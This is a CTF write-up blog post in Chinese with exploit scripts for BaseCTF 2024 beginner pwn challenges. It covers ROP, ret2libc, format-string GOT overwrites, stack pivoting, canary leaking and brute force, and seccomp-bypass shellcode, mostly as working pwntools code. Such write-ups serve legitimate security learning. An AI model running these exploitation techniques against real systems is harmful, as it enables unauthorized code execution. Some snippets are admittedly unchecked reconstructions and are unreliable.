[BaseCTF 2024] 高校联合新生赛 PWN (week1-7)

pwn这块会略写,毕竟只有有用的才需要记。

week1

我把他丢了

溢出,很小的ROP,有bin/sh和system

p.sendafter(b'\n', b'\0'*0x78+flat(pop_rdi, bin_sh, 0x40120f)

Ret2text

溢出到后门

p.send(b'\0'*0x28+flat(0x4011a9))

shellcode_level0

直接运行shellcode

p.send(asm(shellcraft.sh()))

 签个到吧

echo

只有echo命令,我一开始不会。别人说的用<定向到变量再echo

echo `< /flag`
或
a = $(< /flag)
echo a
或
$a  ;连echo都不用

彻底失去她 

有system没有bin/sh需要先调用read读入/bin/sh到bss,再system(/bin/sh)

p.send(b'a'*(0xa+8)+flat(pop_rdi,0,pop_rdi,elf.bss()+0x100,pop_rdx,8,elf.plt['read'],pop_rdi,elf.bss()+0x100, elf.plt['system']))

第一周过于简单,好些没作,只是凭相像写的句子,大概意思,不一定能直接用,可能需要微调。 

week2

gift

这个gift啥都给了,直接syscall 59

b'A'*0x28 + flat(pop_rdi,0,pop_rsi,bin_sh,pop_rdx,8,0, pop_rax,0,syscall, pop_rdi,bin_sh,pop_rsi,0,pop_rdx,0,0,pop_rax,59,syscall)

format_string_level0

%8$s

format_string_level1

p.sendline(b'...%7$n\0'+p64(0x4040b0))

shellcode1

 残留的寄存器正好够read,先写syscall,再读入后续的shellcode

p.send(b'\x0f\x05')
p.send(b'\x90'*2 + asm(shellcraft.sh()))

她与你皆失

 传统的两步走先泄露libc再getshell

from pwn import *
context(arch='amd64', log_level='debug')

pop_rbp = 0x000000000040115d # pop rbp ; ret
pop_rdi = 0x0000000000401176 # pop rdi ; ret
pop_rdx = 0x0000000000401221 # pop rdx ; ret
pop_rsi = 0x0000000000401178 # pop rsi ; ret

elf = ELF('./pwn')

#p = process('./pwn')
p = remote('challenge.basectf.fun', 42829)
p.sendafter(b'\n', b'A'*(10+8) + flat(pop_rdi, elf.got['read'], elf.plt['puts'], elf.sym['main']))
libc_base= u64(p.recv(6)+b'\0'*2) - 0x1147d0
print(f"{libc_base = :x}")
bin_sh = libc_base + 0x1d8678
system = libc_base + 0x50d70
p.sendafter(b'\n', b'A'*(10+8) + flat(pop_rdi+1, pop_rdi, bin_sh, system))

p.sendline(b'cat flag')
p.interactive()

week3

PIE

程序开了PIE,导致加载地址随机化,无法直接用gadget,但溢出后可以得到libc,再通过被修改的尾字节,使程序重入,利用libc里的gadget作ROP

尾字节可以修改的方法很多,可以直接从汇编里往前看,这是往前一点点修改成76就可以直接重启。

from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

p = process('./vuln')

p.send(b'A'*0x108+b'\x76')

p.recvuntil(b'A'*0x108)
libc.address = u64(p.recv(6)+b'\0\0') - 0x29d76

print(f"{libc.address = :x}")

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
p.send(b'A'*0x108 + flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh')), libc.sym['system']))

p.interactive()

format_string_level2

 有格式化字符串漏洞,但是没有return,所以这里泄露地址后用printf修改printf的返回地址,然后执行ROP,但是由于printf的字符串占用空间,不够写ROP,所以在返回地址写ppp6,跳过串前边执行的部分,跳到后边执行ROP

from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

#p = process('./p2_format_string_level2')
#gdb.attach(p, "b*0x401230\nc")
p = remote('challenge.basectf.fun', 24093)

p.send(b'%41$p,%45$p,')
libc.address = int(p.recvuntil(b',', drop=True),16) - 0x29d90
stack = int(p.recvuntil(b',', drop=True),16) - 0x230

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh  = libc.address + 0x1d8678
system  = libc.address + 0x50d70
ppp6 = libc.address + 0x00000000001268f0 # pop rcx ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
v1 = ppp6&0xffff
v2 = (ppp6>>16)&0xffff
v3 = ppp6>>32
pay  = f'%{v1}c%15$ln%{(v2-v1)&0xffff}c%16$hn%{(v3-v2)&0xffff}c%17$hn'.encode().ljust(0x30,b'\x00')+flat(pop_rdi,bin_sh,system,stack,stack+2,stack+4)
p.send(pay)
p.interactive()
#BaseCTF{2731c5a1-426c-4856-9fc3-77590a682edc}

为什么不让我溢出

 canary保护机制,在栈低加canary,在返回时检查canary是否正常,以避免程序溢出。构造适当的PAY,先带出canary再溢出。

from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

#p = process('./p3_vuln')
#gdb.attach(p, "b*0x401277\nc")
p = remote('challenge.basectf.fun', 23372)

p.send(b'A'*(104+1))
p.recvuntil(b'A'*105)
canary = b'\0'+p.recv(7)
print(canary.hex())

p.send(b'A'*104+ flat(canary,0, 0x4011bb))

p.interactive()

stack_on_stack

 栈只溢出到rbp+ret所以要移栈执行ROP,先向前移泄露地址再read移,这回的read移栈还是移到rbp_ret处执行也是不够长也要跟开始一样移到头部执行头部的ROP

为便于理解,里边的数字标出行顺序

from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

#p = process('./attachment')
#gdb.attach(p, "b*0x4012f2\nc")
p = remote('challenge.basectf.fun', 42117)

p.recvline()
buf = int(p.recvline(),16)

leave_ret = 0x4012f2

#             buf              buf+10             buf+20    buf+30
p.send(flat(buf+0x10,0x4011cb, buf+0x50,0x4012b5, 0,0,      buf,leave_ret))
#             2:printf(&puts)   3:read_leaveret             1:go buf
#移栈到开头,执行隐藏函数泄露libc,再将pay读入后部
p.recvline()
libc.address = int(p.recvline(),16) - libc.sym['puts']
print(f"{libc.address = :x}")

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = libc.address + 0x1d8678
#           buf+20         buf+30                 buf+40   buf+50
p.send(flat(pop_rdi,bin_sh,libc.sym['system'],0,  0,0,     buf+0x18,leave_ret))
#           5:system                                       4:go buf+20
p.interactive()

five

 这题啥时候上了,在发现的时候已经结束了。

五子棋胜出没有难度,但后边要求只能走两步。输入位置的时候允许负数有前溢出,在4020,4040处放的是向8个方向遍历,检查是否连成5子。输入适当数字,使其覆盖方向指针。当指针不动时会使仅有1个子就检查通过。

先随便输入1个子,再输入0,-5959其它横竖方向指针只要是-1都可以覆盖。

week4

orz!

禁用了open,read,write的shellcode,用openat,readv,writev绕过

from pwn import *
context(arch='amd64', log_level='debug')

p = process('./orz')
gdb.attach(p, "b*0x5555555553bd\nc")
#p = remote('challenge.basectf.fun', 48710)

#pay = shellcraft.openat(0, '/flag') + shellcraft.sendfile(1,3,0,0x50)
pay = f'''
/* openat */
push {ord('t')}; mov rax,0x{b'/flag.tx'[::-1].hex()};push rax;
push rsp;   pop rsi;
xor rdi,rdi;xor rdx,rdx;
push 0x101; pop rax;
syscall;
/* ioc */
push 0x70; 
push rsp;pop rax;add rax,0x10;push rax;push rsp;pop rsi;
/* readv */
push 3;  pop rdi;
push 1;  pop rdx;
push 19;pop rax;
syscall;
/* writev */
push 1;  pop rdi;
push 20; pop rax;
syscall;
'''


#p.sendafter(b'Enter your shellcode:\n', asm(pay))
p.send(asm(pay))

p.interactive()

'''
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL
'''

 ezstack

给了一次过的gadget : add [rbp+0x3d],ebx ,利用这个将got.gets修改为system再调用gets

from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./pwn')

#p = process('./pwn')
#gdb.attach(p, "b*0x40068c\nc")
p = remote('challenge.basectf.fun', 25683)

pop_rdi = 0x00000000004006f3 # pop rdi ; ret
ppp6 = 0x4006ea #rbx,rbp,r12,r13,r14,r15
add_rbx = 0x400658 #add [rbp-0x3d],rbx
bss = 0x601800

pay = flat([0,0,
    pop_rdi, bss, elf.plt['gets'], #read /bin/sh->bss
    ppp6, (libc.sym['system']-libc.sym['_IO_gets'])&0xffffffff, elf.got['gets']+0x3d, 0,0,0,0, add_rbx, #got.puts->system
    pop_rdi, bss, elf.plt['gets']])

p.sendline(pay)
p.sendline(b'/bin/sh\0')

p.interactive()

format_string_level3

格式化字符串题,但只执行1次,所以第1次要泄露+造重入。

先将got.stack_fail改为main并且通过溢出覆盖canary调用stack_check_fail重入

第2步在pay里写ROP,并通过printf将返回写成移栈。

from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./vuln')

#p = process('./vuln')
#gdb.attach(p, "b*0x40127f\nc")
p = remote('challenge.basectf.fun', 27688)

#__stack_chk_fail

pay = f'%{0x12}c%14$hhn%{0x1b-0x12}c%15$hhn%{0x40-0x1b}c%16$hhn START%41$p,%45$p,%39$p,'.encode().ljust(0x40, b'\x00')
pay+= flat(elf.got['__stack_chk_fail']+1,elf.got['__stack_chk_fail'],elf.got['__stack_chk_fail']+2)

p.sendafter(b'---\n', pay.ljust(0x108, b'\x00')+ b'A')

p.recvuntil(b"START")
libc.address = int(p.recvuntil(b',', drop=True),16) - 0x29d90
stack = int(p.recvuntil(b',', drop=True),16) - 0x118
canary = int(p.recvuntil(b',', drop=True),16) - 0x41
print(f"{libc.address = :x} {stack = :x} {canary = :x}")

leave_ret = 0x401298
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
stack -= 0x120
pay = fmtstr_payload(6,{stack:stack -0x30-0x18, stack+8: leave_ret}).ljust(0x100-0x30, b'\0')+flat(pop_rdi, bin_sh, system)

p.sendafter(b'---\n', pay)

p.interactive()

no_canary

 进程里的canary爆破+libc随机数,每次随机数正确可运行1次,爆破canary

from pwn import *
from ctypes import *
import time

clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")

context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./pwn4')

#p = process('./pwn4')
for i in range(-10,10):
    clibc.srand(int(time.time())+i)
    p = remote('challenge.basectf.fun', 21727)
    try:
        p.sendlineafter(b"to BaseCTF\n", str(clibc.rand()%50).encode())
        p.sendafter(b'welcome\n',b'a'*8)
        print(i)
        break
    except:
        p.close()
        continue

canary = b'\x00'
for i in range(7):
    for j in range(256):
         p.sendlineafter(b"to BaseCTF\n", str(clibc.rand()%50).encode())
         p.sendafter(b'welcome\n',b'a'*0x68+canary+bytes([j]))
         s = p.recv(3)
         if s != b'***':
             canary += bytes([j])
             break

print(canary.hex())

log_level = 'debug'
#gdb.attach(p, "set follow-fork-mode child\nb*0x55555555534d\nc")

for i in range(16):
    p.sendlineafter(b"to BaseCTF\n", str(clibc.rand()%50).encode())
    p.sendafter(b'welcome\n',b'a'*0x68+canary+p64(0)+p16((0x12b1 + i*0x1000)&0xffff))
    #break

p.interactive()

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值